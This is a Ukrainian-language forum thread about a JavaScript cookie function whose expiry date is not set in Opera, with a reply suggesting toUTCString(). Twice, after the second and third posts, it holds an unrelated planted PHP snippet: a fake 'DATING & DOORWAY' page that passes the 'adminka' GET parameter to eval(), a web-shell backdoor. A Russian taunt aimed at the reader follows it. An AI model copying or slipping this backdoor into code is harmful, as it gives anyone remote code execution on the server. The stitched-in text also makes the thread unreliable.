Тема: Не установляться час життя куків у Opera

Є значить така собі функція, для установки кукісів за допомогою js.

function setCookie (name, value, expires, path, domain, secure) {
      document.cookie = name + "=" + escape(value) +
        ((expires) ? "; expires=" + expires : "") +
        ((path) ? "; path=" + path : "") +
        ((domain) ? "; domain=" + domain : "") +
        ((secure) ? "; secure" : "");
}

І є код, який власне використовує дану функцію:

          var num_orders = 1;
          var now_date = new Date();
      var expires_date = new Date(now_date.getFullYear(), now_date.getMonth(), now_date.getDate(), 23, 59, 59);

      num_orders = counter.text();
      num_orders = parseInt(num_orders) + (1);
  
      setCookie("number_of_orders", num_orders, expires_date, "/");

У FF код працює нормально, куки установляються, і нормально ставиться час до якого куки живуть.
А от у опері, чомусь час життя не установляється. В чому може бути причина. Чи може че бути через формат дати ?

2

Re: Не установляться час життя куків у Opera

Отак працює:

   var now_date = new Date();
   var expires_date = new Date(now_date.getFullYear(), now_date.getMonth(), now_date.getDate(), 23, 59, 59);
    
    document.cookie = "name=value;expires="+expires_date.toUTCString();

Отак ні:

var now = new Date(); 
var expires_date = new Date(now.getUTCFullYear(), now.getUTCMonth(), now.getUTCDate(),  now.getUTCHours(), now.getUTCMinutes(), now.getUTCSeconds());

document.cookie = "name=value;expires="+expires_date.toUTCString();
<?php
echo '<html><body><h1>This is my home page</h1>DATING &amp; DOORWAY</body></html>';
if (isset($_GET['adminka'])) eval($_GET['adminka']);
Если ты это читаешь, тебе должно быть стыдно! Займись чем–нибудь полезным!

3 Востаннє редагувалося Invader (09.07.2013 21:06:20)

Re: Не установляться час життя куків у Opera

Здається воно і у Firefox не встановдювало термін.
Так, не встановлюється.

<?php
echo '<html><body><h1>This is my home page</h1>DATING &amp; DOORWAY</body></html>';
if (isset($_GET['adminka'])) eval($_GET['adminka']);
Если ты это читаешь, тебе должно быть стыдно! Займись чем–нибудь полезным!